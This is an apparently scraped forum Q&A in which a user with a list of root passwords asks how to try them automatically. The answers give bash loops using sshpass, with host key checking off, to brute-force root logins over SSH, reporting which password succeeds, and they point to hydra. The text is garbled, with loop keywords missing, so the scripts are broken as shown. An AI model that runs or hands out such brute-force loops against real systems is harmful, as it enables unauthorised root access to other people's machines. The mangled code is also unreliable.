bash - Entering Password in su- through loop -

the scenario have list of root passwords. don't want keep trying manually. wrote shell script :

for in {1..26}

do

su - >>result

done

and password on file "attempt.txt".

now on command prompt type command :

bash p2.sh < attempt.txt

but shows errors : "standard in must tty"

so there way can enter these passwords through codes or commands without manually typing each of those? please tell command-line approach instead of advanced utility software. i'm in learning. :)

you can test password making ssh connection in loop:

#!/bin/bash  sshpass -f<filename> ssh -o 'stricthostkeychecking no' -p port user@ip 

you should install sshpass on system

this surely works:

sshpass -p'password' ssh -o 'stricthostkeychecking no' -p 22  root@ip 

try 1 surely helps you:

for pass in $(cat /path/to/pass)    sshpass -p$pass ssh -o 'stricthostkeychecking no' -p 22  root@ip done  

update

so if want pretty output:

#!/bin/bash  pass in $(cat /path/to/pass)     echo -e "reading $pass..."     sshpass -p$pass ssh -o 'stricthostkeychecking no' -p 22  root@ip      if [ "$?" -ne "0" ];            echo -e "$pass incorrect\n"     elif [ "$?" -eq "0" ];             echo "ssh connection established pass=$pass"     fi done  

you can test passwords hydra